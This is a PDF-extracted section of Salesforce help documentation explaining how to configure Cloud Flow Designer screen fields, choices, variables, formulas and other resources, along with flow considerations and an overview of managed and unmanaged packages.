The Screen element overlay in the Flow Designer has three tabs: General Info, Add a Field, and Field Settings. The Add a Field tab lists the available types of fields you can add to your Screen. Add a field to the Screen by double-clicking the field type or dragging it to the preview pane. Remove a field from the Screen by hovering over it and clicking . Reorder the fields in the preview pane by clicking and dragging them up and down.

See Also:
Flow Designer Elements Flow Designer Overview

Configuring the Screen Element's Field Settings Tab


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To open, edit, or create a flow in the Cloud Flow Designer: Manage Force.com Flow

The Screen element overlay in the Flow Designer has three tabs: General Info, Add a Field, and Field Settings. Use the Field Settings tab to configure the screen field you've selected in the preview pane. The options available on the Field Settings tab vary based on the type of field. Inputstextbox, long text area, number, currency, date, password, checkbox

2007

Create

Flow Designer Elements

Choicesradio buttons, drop-down list, multi-select checkboxes, multi-select picklist Outputsdisplay text

See Also:
Flow Designer Elements Flow Designer Overview

Configuring User Input Fields on the Screen Element's Field Settings Tab
Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To open, edit, or create a flow in the Cloud Flow Designer: Manage Force.com Flow

The Screen element overlay in the Flow Designer has three tabs: General Info, Add a Field, and Field Settings. Use the Field Settings tab to configure the screen field you've selected in the preview pane. The options available on the Field Settings tab vary based on the type of field. Heres how to set up a user input screen field: textbox, long text area, number, currency, date, password, or checkbox. 1. In the Screen overlays preview pane, click an input field to configure its settings. 2. In the General Info section, enter a Label to display text to the left of the field. 3. If you want to use the rich text editor to format your field label, click the rich text editor icon ( ) to the right of the Label field. a. Once youre done editing the text, click OK. The Label field display changes to indicate that it is now a rich text field.

b. Click Edit to make changes to your label text. c. Click Clear to completely clear the Label field and start over. 4. You can enter a different Unique Name for your field. By default, this field is filled in with your field label. Note: A unique name is limited to underscores and alphanumeric characters. It must begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. 5. Enter a Default Value for the input field. You can select values from existing screen choice fields or flow resources, or you can create a new resource with which to populate the field. The data type of the default value must be compatible with that of the field. For example, a checkboxs default value must be of type boolean. 6. For number and currency fields, you can set a Scale value. The scale is the maximum number of digits allowed to the right of the decimal point. This number can't exceed 17. If you leave this field blank or set to zero, only whole numbers are displayed when your flow runs.

2008

Create

Flow Designer Elements

7. Select the Required checkbox to make the field required. 8. In the Input Validation section, create a formula expression to validate the user input for the field. a. Select Validate. b. Enter a formula expression to define the values allowed for the field. c. Customize the error message that will be displayed to the flow user if the input fails validation. Click to switch between the plain text editor and the rich text editor. Using the rich text editor saves the content as HTML. Note: If the formula statement evaluates to TRUE, the input is valid. If the formula statement evaluates to FALSE, the error message is displayed to the user. If the user leaves the field blank, and the field is not required, no validation is performed.

9. To provide flow users with help for the field: a. Click the arrow to expand the Help Text section. b. Enter the text that you want flow users to see when they click c. Optionally: next to the field.

Use the drop-down menu to add merge fields to your help text. Click to switch between the plain text editor and the rich text editor. Using the rich text editor saves the content as HTML.

10. Click OK.

See Also:
Configuring the Screen Element's Field Settings Tab Adding and Configuring a Screen Element Checkbox Input Fields Overview Flow Designer Elements Flow Designer Overview Checkbox Input Fields Overview Available in: Enterprise, Unlimited, and Developer Editions

A checkbox screen field is of type boolean. Use a checkbox screen field to offer flow users a yes or no choice. For example: Whether to opt into a marketing campaign. Whether to receive a follow-up call after a purchase or case resolution. Whether an important policy is understood.

2009

Create

Flow Designer Elements

In this case, you can validate that the user selects the checkbox before proceeding to the next screen.

See Also:
Configuring User Input Fields on the Screen Element's Field Settings Tab Global Constants Overview Multi-Select Choice Fields Overview

Configuring Choice Fields on the Screen Element's Field Settings Tab


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To open, edit, or create a flow in the Cloud Flow Designer: Manage Force.com Flow

The Screen element overlay in the Flow Designer has three tabs: General Info, Add a Field, and Field Settings. Use the Field Settings tab to configure the screen field you've selected in the preview pane. The options available on the Field Settings tab vary based on the type of field. Heres how to set up a choice screen field: radio buttons, drop-down list, multi-select checkboxes, or multi-select picklist. 1. In the Screen overlays preview pane, click a choice type field to configure its settings. 2. In the General Info section, enter a Label to display text to the left of the field. 3. If you want to use the rich text editor to format your field label, click the rich text editor icon ( ) to the right of the Label field. a. Once youre done editing the text, click OK. The Label field display changes to indicate that it is now a rich text field.

b. Click Edit to make changes to your label text. c. Click Clear to completely clear the Label field and start over. 4. You can enter a different Unique Name for your field if necessary. By default, this field is filled in with your field label. Note: A unique name is limited to underscores and alphanumeric characters. It must begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. 5. Optionally, change the Value DataType. You cant change the value data type of multi-select choice fields; only text is supported. 6. Select the Required checkbox to make the field required. 7. Use the Default Value field after youve created all your choice options in the Choice Settings section to set one to be to pre-selected by default. 8. Use the Choice Settings section to configure the choice options.

2010

Create

Flow Designer Elements

Note: Add the choices in the order you want them to appear in the screen field. You cant rearrange choices.

a. Click the arrow button on the Choice field to create a new choice option or select an existing one. b. To create a new choice, select CREATE NEW > Choice. See Adding and Configuring a Choice on page 2020. c. To create a new dynamic choice, select CREATE NEW > Dynamic Choice. Use a dynamic choice to create a lookup to automatically populate the choice options during runtime. See Adding and Configuring a Dynamic Choice on page 2022. d. Click Add Choice to add another choice option to the screen field. 9. To provide flow users with help for the field: a. Click the arrow to expand the Help Text section. b. Enter the text that you want flow users to see when they click c. Optionally: next to the field.

Use the drop-down menu to add merge fields to your help text. Click to switch between the plain text editor and the rich text editor. Using the rich text editor saves the content as HTML.

10. Click OK.

See Also:
Configuring the Screen Element's Field Settings Tab Multi-Select Choice Fields Overview Adding and Configuring a Screen Element Flow Designer Elements Flow Designer Overview Multi-Select Choice Fields Overview Multi-select checkboxes and multi-select picklist fields enable flow users to select multiple choices in a screen field. At runtime, each multi-select field stores its field value as a concatenation of the user-selected choice values, separated by semicolons. Available in: Enterprise, Unlimited, and Developer Editions

When using multi-select choice fields, consider the following: At runtime, any semicolons in the selected choices stored values are removed when added to the multi-select field value. Similar to single-selection choice fields, such as radio buttons and drop-down lists, you can populate multi-select choice fields with flow-specific choices and dynamic choices only. You cant populate multi-select picklists in flows with the picklist values of standard or multi-select picklist fields elsewhere in your organization. A multi-select choice field can have only one default value. A dynamic choice resource can be configured to assign field values from one user-selected record to variables in the flow. When the dynamic choice is used in a multi-select choice field, flow variables store the field values of only the last selected

2011

Create

Flow Designer Elements

record in the dynamically generated set of choices. If the dynamic choice is used in multiple multi-select choice fields on the same screen, the flow variable assignments are determined by the first multi-select choice field on the screen. To ensure the correct runtime behavior of Decision elements that reference multi-select choice fields: Configure a stored value for each choice that you use in multi-select choice fields. Dont use the same choice in multiple multi-select choice fields on the same screen.

See Also:
Configuring Choice Fields on the Screen Element's Field Settings Tab

Configuring Output Fields on the Screen Element's Field Settings Tab


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To open, edit, or create a flow in the Cloud Flow Designer: Manage Force.com Flow

The Screen element overlay in the Flow Designer has three tabs: General Info, Add a Field, and Field Settings. Use the Field Settings tab to configure the screen field you've selected in the preview pane. The options available on the Field Settings tab vary based on the type of field. Heres how to set up a Display Text field on a Screen overlay. 1. In the Screen overlays preview pane, click the Display Text field to configure its settings. 2. Enter a Unique Name. A unique name is limited to underscores and alphanumeric characters. It must begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. 3. Enter the text you want to display to the flow user. For example, you could use a display text field to show flow users a welcome message, a terms and conditions statement, or a description of a product or service. Click to switch between the plain text editor and the rich text editor. Using the rich text editor saves the content as HTML. 4. Click OK.

See Also:
Configuring the Screen Element's Field Settings Tab Adding and Configuring a Screen Element Flow Designer Elements Flow Designer Overview

2012

Create

Flow Designer Elements

Adding and Configuring a Step Element


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To open, edit, or create a flow in the Cloud Flow Designer: Manage Force.com Flow

Use the Step element as a placeholder when you're not sure what kind of element you need. Using Step elements, you can sketch out a draft of any new flow or make conceptual changes to an existing flow. To add or edit a Step element in the Flow Designer: 1. 2. 3. 4. 5. Go to Your Name > Setup > Create > Workflow & Approvals > Flows and open a new or existing flow. From the Palette, drag the Step element into the main area of the canvas. Enter a name for the Step. If you havent already added a description, click Add Description to do so. Click OK to accept your changes or Cancel to discard them.

Steps aren't valid elements for active flows. You can have a draft flow with Steps in it and can run it in the draft state as an administrator, but you must replace the Steps with other elements before you can activate the flow and let users run it. Converting a Step into a Screen You can convert a Step into a Screen element at any time by hovering your mouse over it and clicking Things to note about converting Step elements: Upon conversion, a Step's incoming connectors are preserved, but any outgoing connectors assigned to it are deleted. After conversion, you can no longer use the Step's original unique name. .

See Also:
Adding and Configuring a Screen Element Flow Designer Elements Flow Designer Overview

2013

Create

Managing Flow Designer Elements

Managing Flow Designer Elements


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To open, edit, or create a flow in the Cloud Flow Designer: Manage Force.com Flow

Adding, Editing, and Removing Elements To add an element to the Designer main canvas, drag and drop it from the Palette in the left sidebar. To edit an element, double-click it in the main canvas, or hover your mouse over it and click . To remove an element, hover your mouse over it and click . Alternately, you can remove elements and connectors by selecting them and hitting the DELETE key. Setting a Start Element To set the starting element in your flow, hover your mouse over an element on the canvas and click . You can set any one element on the canvas as the starting element. If you don't set a start element, you get a warning after saving your flow.

See Also:
Flow Designer Elements Flow Designer Overview

Flow Designer Resources


Available in: Enterprise, Unlimited, and Developer Editions

Resources, such as variables, constants, or formulas, allow you to store or manipulate data and use it throughout your flow. For example, if a user inputs the cost of a meal in a tip calculator flow, you can store that value as a constant and use it with a formula to calculate optimum tip amount based on what service level the user chooses later in the flow. Resources are non-visual elements. They won't show up on your canvas and can't be added to it. If you need to edit or delete resources youve created, you can find them on the Explorer tab. The following resources are available in the Cloud Flow Designer: Constant Variable Formula Text Template Choice Dynamic Choice Global Constants

2014

Create

Flow Designer Resources

Though they dont appear on the Resources tab, global constants are considered to be resources. Global constants have fixed values, while the other resources can be created and customized as needed. Note: Every time you add an element or resource to a flow, it's also added to the Explorer Tab.

See Also:
Flow Designer Overview

Adding and Configuring a Constant


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To open, edit, or create a flow in the Cloud Flow Designer: Manage Force.com Flow

In order to assign constants to your flow using the Assignment element, you first need to create them. The Constant resource allows you to a define a fixed value that can be used throughout your flow. Every time you create a new constant, it is added to the Explorer tab by its unique name. 1. Go to Your Name > Setup > Create > Workflow & Approvals > Flows and open a new or existing flow. 2. From the Resources tab, double-click Constant. 3. Enter a Unique Name for the constant. Note: The requirement for uniqueness applies only to elements within the current flow. Two elements can have the same unique name, provided they are used in different flows. A unique name is limited to underscores and alphanumeric characters. It must begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. 4. 5. 6. 7. Enter a description. Set the Data Type for the constant. Enter a value for the constant. When entering a date value, you must use the MM/DD/YYYY format. Click OK to accept your changes or Cancel to discard them.

See Also:
Flow Designer Resources Adding and Configuring an Assignment Element Flow Designer Overview

2015

Create

Flow Designer Resources

Adding and Configuring a Formula


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To open, edit, or create a flow in the Cloud Flow Designer: Manage Force.com Flow

Use the Formula resource to calculate a value using numeric elements in your flow. Every time you create a new formula, its added to the Explorer tab by its unique name. 1. Go to Your Name > Setup > Create > Workflow & Approvals > Flows and open a new or existing flow. 2. From the Resources tab, double-click Formula. 3. Enter a Unique Name for the formula. Note: The requirement for uniqueness applies only to elements within the current flow. Two elements can have the same unique name, provided they are used in different flows.A unique name is limited to underscores and alphanumeric characters. It must begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. 4. Enter a description. 5. If needed, set the Scale for the formula. The scale is the maximum number of digits allowed to the right of the decimal point. This number can't exceed 17. If you leave this field blank or set to zero, only whole numbers are displayed when your flow runs. 6. Enter your formula. Use the arrowhead to select resources from your flow. Use the CREATE NEW section of the drop-down list to create new resources, if necessary. For a complete list of operators and functions for building formulas in Salesforce, see Operators and Functions on page 1230. Note: Some formula operators are not supported in the Cloud Flow Designer and will result in your formula returning a null value. See Flow Formulas Overview for the complete list. 7. Click OK to accept your changes or Cancel to discard them.

See Also:
Flow Formulas Overview Flow Designer Resources Flow Designer Overview

2016

Create

Flow Designer Resources

Flow Formulas Overview


Available in: Enterprise, Unlimited, and Developer Editions

You can use standard Salesforce formula syntax in two places within a flow: In a Formula resource In a Screen element, specifically to validate user input for a field

The Formula Resource The Formula resource calculates a numeric value using functions and elements in your flow. Consider the following when creating a Formula resource. You can use pure text functions in your formula, but the formula output must be numeric. Any formula that doesn't resolve to a number or that contains an unsupported function returns null. If you display the result of an invalid formula to a user using a Display Text element, the formula result is displayed as an empty string and the user sees nothing. You can't activate a flow that contains an invalid formula.

Formulas in Validation Rules You can use formulas in validation rules to validate a flow user's input by selecting the Validate checkbox when configuring an input field on a Screen element. The formula expression must return a Boolean value. If the formula statement evaluates to TRUE, the input is valid. If the formula statement evaluates to FALSE, the error message is displayed to the user. If the user leaves the field blank, and the field is not required, no validation is performed.

Flow Formula Limitations Your formula can't contain more than 3,000 characters. Formulas in Visual Workflow don't support the following functions. Using these functions results in your formula returning null. GETRECORDIDS IMAGE INCLUDE INCLUDES ISCHANGED ISNEW ISPICKVAL PARENTGROUPVAL PREVGROUPVAL PRIORVALUE REQUIRE SCRIPT VLOOKUP

2017

Create

Flow Designer Resources

For a complete list of operators and functions for building formulas in Salesforce, see Operators and Functions on page 1230.

See Also:
Adding and Configuring a Formula

Adding and Configuring a Text Template


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To open, edit, or create a flow in the Cloud Flow Designer: Manage Force.com Flow

Use the Text Template resource to create text to use in your flow. For example, if you have a flow that registers people for an event, you could create a text template that includes a registrant's name, address, and other information, then use the template in an email confirmation sent out when the flow finishes. Every time you create a new text template, it is added to the Explorer tab by its unique name. 1. Go to Your Name > Setup > Create > Workflow & Approvals > Flows and open a new or existing flow. 2. From the Resources tab, double-click Text Template. 3. Enter a Unique Name. Note: The requirement for uniqueness applies only to elements within the current flow. Two elements can have the same unique name, provided they are used in different flows.A unique name is limited to underscores and alphanumeric characters. It must begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. 4. Enter a description. 5. In the text box, type the text for your template. Use the Select resource drop-down to insert content from your flow (variables, constants, user input, and so on), or type it manually. Use the CREATE NEW section of the drop-down list to create new resources, if necessary. Click to switch between the plain text editor and the rich text editor. Using the rich text editor saves the content as HTML. 6. Click OK.

See Also:
Flow Designer Resources Flow Designer Overview

2018

Create

Flow Designer Resources

Adding and Configuring a Variable


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To open, edit, or create a flow in the Cloud Flow Designer: Manage Force.com Flow

In order to assign variables to your flow using the Assignment element, you have to first create them. The Variable resource allows you to create updatable values to use in your flow. Every time you create a new variable, an item representing that variable is added to the Explorer tab. 1. Go to Your Name > Setup > Create > Workflow & Approvals > Flows and open a new or existing flow. 2. From the Resources tab, double-click Variable. 3. Fill out the fields. Field
Unique Name

Description The requirement for uniqueness applies only to elements within the current flow. Two elements can have the same unique name, provided they are used in different flows. A unique name is limited to underscores and alphanumeric characters. It must begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. Helps you determine when to assign or use this variable as you set up your flows. The description appears in the Description pane when the variable is selected in the Explorer tab. Depending on the Input/Output Type, the variables description may be viewed from another flows subflow element.

Description

Data Type Scale

Determines the types of values that can be assigned to the variable. Appears only when the Data Type is set to Number or Currency. The scale is the maximum number of digits allowed to the right of the decimal point. This number can't exceed 17. If you leave this field blank or set to zero, only whole numbers are displayed when your flow runs.

Input/Output Type

Determines whether the variable can be accessed outside the flow. PrivateVariable can be assigned and used only within the flow. InputVariable can be set at the start of the flow using URL parameters, Visualforce controllers, or subflow inputs. OutputVariables value can be accessed from Visualforce controllers and other flows. This field doesnt affect how variables are assigned or used within the same flow, for example, through these types of elements: Assignment, Record Create, Record Lookup, and Apex Plug-in. The default value of the field depends on the release or API version in which the variable is created:

2019

Create

Flow Designer Resources

Private for a variable created in Summer 12 and later or in API version 25.0 and later. Input and Output for a variable created in Spring 12 and earlier or in API version

24.0. Warning: Disabling input or output access for an existing variable may impact the functionality of applications and pages that call the flow and access the variable via URL parameters, Visualforce controllers, and subflows.
Default Value

Enter a default value for the variable, or use the drop-down list to assign the value of a flow resource as the default. Use the CREATE NEW section of the drop-down list to create new resources, if necessary. If you leave this field blank, the variable value is set to null. When entering a date value, you must use the MM/DD/YYYY format.

4. Click OK to accept your changes or Cancel to discard them. You can delete a variable at any time. Any variable assignments and allocations using the deleted variable will be set to null.

See Also:
Flow Designer Resources Adding and Configuring an Assignment Element Flow Designer Overview Subflows Overview Adding a Flow to a Visualforce Page Putting Flows to Work

Adding and Configuring a Choice


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To open, edit, or create a flow in the Cloud Flow Designer: Manage Force.com Flow

A Choice resource is a standalone choice option that you can reference or reuse throughout your flow. For example, if you have a flow asking users to choose a particular service level, you could create separate choice options for Gold, Silver, and Bronze. Each one becomes a unique choice resource on the Explorer tab. You could then set up a Screen later on in the flow with a display text field that includes the choice resource with a description of the features included. You can create a choice resource in two ways: From the Resources tabDouble-click Choice in the resources list. From anywhere the CREATE NEW drop-down list option is available.

On the Choice overlay:

2020

Create

Flow Designer Resources

1. Enter a label for the choice field. 2. If you want to use the rich text editor to format your field label, click the rich text editor icon ( ) to the right of the Label field. a. Once youre done editing the text, click OK. The Label field display changes to indicate that it is now a rich text field.

b. Click Edit to make changes to your label text. c. Click Clear to completely clear the Label field and start over. 3. 4. 5. 6. If necessary, customize the Unique Name. If you havent already added a description, click Add Description to do so. Set the choices Value Data Type. If desired, fill in a Stored Value. If a user leaves a choice blank or unselected, its stored value is set to null. 7. Select the Show input on selection checkbox to have a user input field appear below the choice option. This option isnt available if the choices data type is Boolean. a. Enter a label for the user input field. b. Select the Required checkbox to make the user input field required. c. In the Input Validation section, create a formula expression to validate the user input for the field. i. Select Validate. ii. Enter a formula expression to define the values allowed for the field. iii. Customize the error message that will be displayed to the flow user if the input fails validation. Click to switch between the plain text editor and the rich text editor. Using the rich text editor saves the content as HTML. Note: If the formula statement evaluates to TRUE, the input is valid. If the formula statement evaluates to FALSE, the error message is displayed to the user. If the user leaves the field blank, and the field is not required, no validation is performed.

8. Click OK. After you create a choice, it shows up on the Explorer tab, where you can edit it as needed.

See Also:
Flow Designer Resources Flow Designer Overview

2021

Create

Flow Designer Resources

Adding and Configuring a Dynamic Choice


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To open, edit, or create a flow in the Cloud Flow Designer: Manage Force.com Flow

A dynamic choice looks up data from an objects records and dynamically generates a set of choices at runtime. Throughout your flow, you can reuse a Dynamic Choice resource for choice fields, and you can reference the stored value of a Dynamic Choice resource. The stored value is determined by the most recent user selection of a choice within the generated set. As an example, let's say you're setting up a flow for all employees of Acme Inc. and need them to identify which Acme division they work in. Instead of manually entering each division name as a separate choice, you could set up the dynamic choice to look up all instances where Acme appears in the division name. Then, when the employees step through the flow, they can select from a dynamically generated choice list of all division names containing Acme. 1. Go to Your Name > Setup > Create > Workflow & Approvals > Flows and open a new or existing flow. 2. Create a dynamic choice using one of the following methods: From the Resources tab, double-click Dynamic Choice. From the Screen overlay, add or select a choice field in the preview pane. In the Choice Settings for that field, select CREATE NEW > Dynamic Choice From any resource-selecting drop-down list, select CREATE NEW > Dynamic Choice.

3. Enter the general settings for the choice. Field


Unique Name

Description The requirement for uniqueness applies only to elements within the current flow. Two elements can have the same unique name, provided they are used in different flows. A unique name is limited to underscores and alphanumeric characters. It must begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. Appears after you click Add Description. Data type of the choices stored value.

Description Value Data Type

4. Select the object whose records contain the data for the generated choices. 5. Specify the filter criteria for retrieving records from the database. Click Add Row to enter more filters. Click Column Header
Field Operator

to remove a row.

Description Field for filtering records. The available filter operators depend on the data type selected for the Field and Value.

2022

Create

Flow Designer Resources

Column Header
Value

Description The Field and Value in the same row must have the same data type. Options: Select an existing flow resource, such as a variable, constant, or user input. Select CREATE NEW to create a new flow resource. Manually enter a literal value or merge field. If you manually enter a date, you must use the MM/DD/YYYY format.

If you remove all filter rows, all records of the selected object are retrieved and a choice is generated for each record. 6. Select the records fields whose values you want to use in the generated choices. Field
Choice Label

Description Records field whose value appears as the choice label at runtime. Make sure to choose a field that contains data. Otherwise, users see blank generated choices at runtime.

Choice Stored Value

Records field whose value is stored when the user selects this choice at runtime. The available options depend on the Value Data Type of the Dynamic Choice resource. If you dont fill out this field, the stored value is set to null.

For example, let's say you're setting up a support flow for a computer hardware manufacturer, and you want to let users identify a product to find its latest drivers. You could set up a dynamic choice that displays all products whose product ID starts with a specific string of characters. However, since the flow users are more likely to know the product's name than its ID, you would select a field containing the product name for the Choice Label. 7. To sort the generated choices: a. Select Sort results by. b. Select the records field to sort by. Only sortable fields appear in the drop-down list. c. Select the sort order, either ascending or descending. 8. To limit the number of generated choices: a. Select Limit number of choices to. b. Enter the maximum number of choices (up to 200) to include in the generated set. 9. Set up field assignments that occur at runtime when the user selects a choice from the generated set. Use flow variables to store field values from the record associated with the user-selected choice. Click Add Row to enter more field assignments. Click Column Header
Field

to remove a row.

Description Records field whose value you want to assign to a variable.

2023

Create

Flow Designer Resources

Column Header
Variable

Description Select an existing flow variable, or select CREATE NEW to create a new variable.

Note: When the dynamic choice is used in a multi-select choice field, flow variables store the field values of only the last selected record in the dynamically generated set of choices. If the dynamic choice is used in multiple multi-select choice fields on the same screen, the flow variable assignments are determined by the first multi-select choice field on the screen. Lets return to our example where the flow user selects a product name from the generated set of choices. If, elsewhere in the flow, you want to refer to or display the associated product ID and product description, you would assign flow variables to store the relevant field values from the user-selected record. 10. Click OK. After you create a dynamic choice, it becomes available on the Explorer tab.

See Also:
Adding and Configuring a Screen Element Flow Designer Resources Flow Designer Overview

Global Constants Overview


Available in: Enterprise, Unlimited, and Developer Editions

In any value or resource drop-down list in the Cloud Flow Designer, you may see a section called GLOBAL CONSTANT. Global constants are system values that, depending on the context of the drop-down list, let you assign EmptyString, True, or False as the value for that field.

For example, when creating a variable of type Boolean, if you click on the arrow button to the right of the Default Value field and expand the GLOBAL CONSTANT section, youll see $GlobalConstant.True and $GlobalConstant.False. However, when creating a variable of type Currency, the GLOBAL CONSTANT section isnt available. Visibility of this section depends on the data type of the resource youre working with. The global constants possible are:
{!$GlobalConstant.EmptyString}available for resources of type Text {!$GlobalConstant.True}available for resources of type Boolean

2024

Create

Running Flows

{!$GlobalConstant.False}available for resources of type Boolean

See Also:
Flow Designer Resources

Running Flows
Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view a flow: View Setup and Configuration

To run a flow as a user directly from the flow URL, or from Run Flows a custom Web tab, link, or button pointing to the flow URL: OR
Force.com Flow User field enabled on the user detail page

To run a flow from the flow detail page, list page, or from Manage Force.com Flow within the Cloud Flow Designer, or to run an inactive flow:

Flows are a collection of scripted screens that you can step through to collect and update data. For example, as a support representative in a call center, you can use flows to capture information as you help troubleshoot customer issues. Or as a salesperson, you can use flows to generate real-time quotes. You can even use flows to manipulate your organization's data in new ways. Depending on how flows are set up in your organization, you can run them directly from the flow URL in your browser, or from a custom Web tab, link, or button pointing to the URL. If your administrator hasn't defined custom Web tabs, links, or buttons for flows, you can find the direct flow URL by going to Your Name > Setup > Create > Workflow & Approvals > Flows and clicking on the name of the flow you want to run. Consider the following when running flows: Don't use your browser's Back or Forward buttons to navigate through a flow. This may result in inconsistent data between the flow and Salesforce. A single flow may have up to 50 different versions. When you run a flow, you see the active version, which may not necessarily be the latest version.

Flow administrators can also run flows directly from the flow detail page.

See Also:
Visual Workflow Overview Putting Flows to Work

2025

Create

Visual Workflow Considerations

Visual Workflow Considerations


Available in: Enterprise, Unlimited, and Developer Editions

When creating, managing, and running flows, consider the permissions, use limits, and data issues. The Cloud Flow Designer Be careful when testing flows that contain Record Delete elements. Even if the flow is inactive, running it will trigger the delete operation. When entering a date value, you must use the MM/DD/YYYY format. The Flow Designer doesn't support UTF-8 encoding for text in user input fields. The Flow Designer uses the permissions and locale assigned to the current user. The Cloud Flow Designer contains embedded fonts for all locales it supports. The supported locales are: English (US) French (France) German (Germany) Spanish (Spain) Japanese (Japan) Chinese (Traditional) Chinese (Simplified)

If you enter unsupported characters for a supported locale, theyre displayed using system fonts instead of the embedded fonts. In unsupported locales, your system font settings are used to display all characters in the Cloud Flow Designer. If the Cloud Flow Designer doesn't show a custom object or field that was recently created, close and reopen it. If a user leaves a choice blank or unselected, its stored value is set to null. If you have the same choice option used in more than one place on different screens in your flow, a was selected query on that choice option will always resolve to the most recent one. If you have the same choice option with a user input used in more than one place on the same screen, a was selected query on that choice option will always resolve to the first one. Dont enter the string null as the value of a text field in the Cloud Flow Designer. If you do this, you may not be able to save the flow. The Cloud Flow Designer cant open flows installed from managed packages. If you open a flow from Winter 12, any Boolean decision it contains is converted to a multi-outcome Decision element that: Uses the same name as the old decision. Takes the unique name of the old decision, appended with _switch. Has an outcome labeled True. This outcomes unique name matches that of the old decision, and its conditions are migrated from the True outcome of the old decision. Has a default outcome labeled False. Flow Administration If you exceed your organization's site usage limits or Visualforce usage limits, you can't run flows.

2026

Create

Visual Workflow Accessibility Overview

If you haven't yet edited the flow properties, and you activate a version of the flow, the name and description fields are automatically updated to reflect those of the active version. Once you edit the name and description of your flow, the fields are no longer automatically updated to match the active version. When you activate a new version of a flow, the previously activated version (if one exists) is automatically deactivated. Flow processes currently running continue to run using the version with which they were initiated. You cant delete an active flow. Once deactivated, you must wait 12 hours to delete a flow or flow version. This ensures that flows in progress have time to complete. Flows that have never been activated can be deleted immediately.

Flow Runtime Don't use your browser's Back or Forward buttons to navigate through a flow. This may result in inconsistent data between the flow and Salesforce. A single flow may have up to 50 different versions. When you run a flow, you see the active version, which may not necessarily be the latest version.

See Also:
Flow Designer Overview

Visual Workflow Accessibility Overview


Available in: Enterprise, Unlimited, and Developer Editions

Visual Workflow is 508-compliant with the following exceptions: Clicking the next or previous buttons doesn't change the title of the screen, so you may not realize you're on a new page. There are no labels on radio buttons. Screen readers can't distinguish between questions. Questions without defined prompts may not read correctly. Errors are not noted when reading the fields.

Visual Workflow Terminology


Available in: Enterprise, Unlimited, and Developer Editions

The following terminology is used for Visual Workflow in Salesforce: Element Elements are the building blocks of flows. Each element represents an action, such as presenting information to, or collecting information from, flow users, or even querying, creating, updating, and deleting information in Salesforce. By connecting elements together in the Flow Designer, you can create a flow, which is a series of screens, inputs, and outputs through which users navigate.

2027

Packages

Overview of Packages

Flow A flow starts out as a process or decision diagram created in the Flow Designer. Once uploaded and run in Salesforce, it becomes an application for navigating users through a series of screens. Cloud Flow Designer Cloud-based application that lets administrators create a flow for use in Salesforce. Desktop Flow Designer Desktop application that allows administrators to create a flow for use in Salesforce. Master Flow A master flow is a flow that contains a subflow element. The term master is used to distinguish it from the flow that is referenced and called by the subflow element. Resource Resources, such as variables, constants, or formulas, allow you to store or manipulate data and use it throughout your flow. Subflow A subflow element references another flow, which it calls at runtime. The flow that contains the subflow element is referred to as the master flow.

See Also:
Flow Designer Overview Visual Workflow Overview

PACKAGES
Overview of Packages
Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create packages: To upload packages to the AppExchange: Create AppExchange Packages Upload AppExchange Packages

A package is a container for something as small as an individual component or as large as a set of related apps. After creating a package, you can distribute it to other Salesforce users and organizations, including those outside your company. Packages come in two formsunmanaged and managed:

2028

Create

Overview of Packages

Unmanaged packages Unmanaged packages are typically used to distribute open-source projects or application templates to provide developers with the basic building blocks for an application. Once the components are installed from an unmanaged package, the components can be edited in the organization they are installed in. The developer who created and uploaded the unmanaged package has no control over the installed components, and can't change or upgrade them. Unmanaged packages should not be used to migrate components from a sandbox to production organization. Instead, see Change Sets on page 2317. Managed packages Managed packages are typically used by salesforce.com partners to distribute and sell applications to customers. These packages must be created from a Developer Edition organization. Using the AppExchange and the License Management Application (LMA), developers can sell and manage user-based licenses to the app. Managed packages are also fully upgradeable. To ensure seamless upgrades, certain destructive changes, like removing objects or fields, can not be performed. Managed packages also offer the following benefits: Intellectual property protection for Apex Built-in versioning support for API accessible components The ability to branch and patch a previous version The ability to seamlessly push patch updates to subscribers Unique naming of all components to ensure conflict-free installs

The following definitions illustrate these concepts:

Figure 15: Unmanaged and Managed Packages Components A component is one constituent part of a package. It defines an item, such as a custom object or a custom field. You can combine components in a package to produce powerful features or applications. In an unmanaged package, components are not upgradeable. In a managed package, some components can be upgraded while others cant. Attributes An attribute is a field on a component, such as the name of an email template or the Allow Reports checkbox on a custom object. On a non-upgradeable component in either an unmanaged or managed package, attributes are editable by both the developer (the one who created the package) and the subscriber (the one who installed the package). On an upgradeable component in a managed package, some attributes can be edited by the developer, some can be edited by the subscriber, and some are locked, meaning they cant be edited by either the developer or subscriber. For information on which components can be included in a package and which attributes are editable for each component, see the Force.com Quick Reference for Developing Packages. Packages consist of one or more Salesforce components, which, in turn, consist of one or more attributes. Components and their attributes behave differently in managed and unmanaged packages.

2029

Create

Glossary

If you plan to distribute an app, it is important to consider packaging throughout the development process. For example: While creating your app, consider how components and their attributes behave in different packages and Salesforce editions. While preparing your app for distribution, consider how you want to release it to your customers. While installing a package, consider your organization's security and license agreements.

It is also helpful to familiarize yourself with general packaging information, such as: Package Distribution FAQs Glossary

See Also:
Managing Packages Preparing Your Apps for Distribution

Glossary
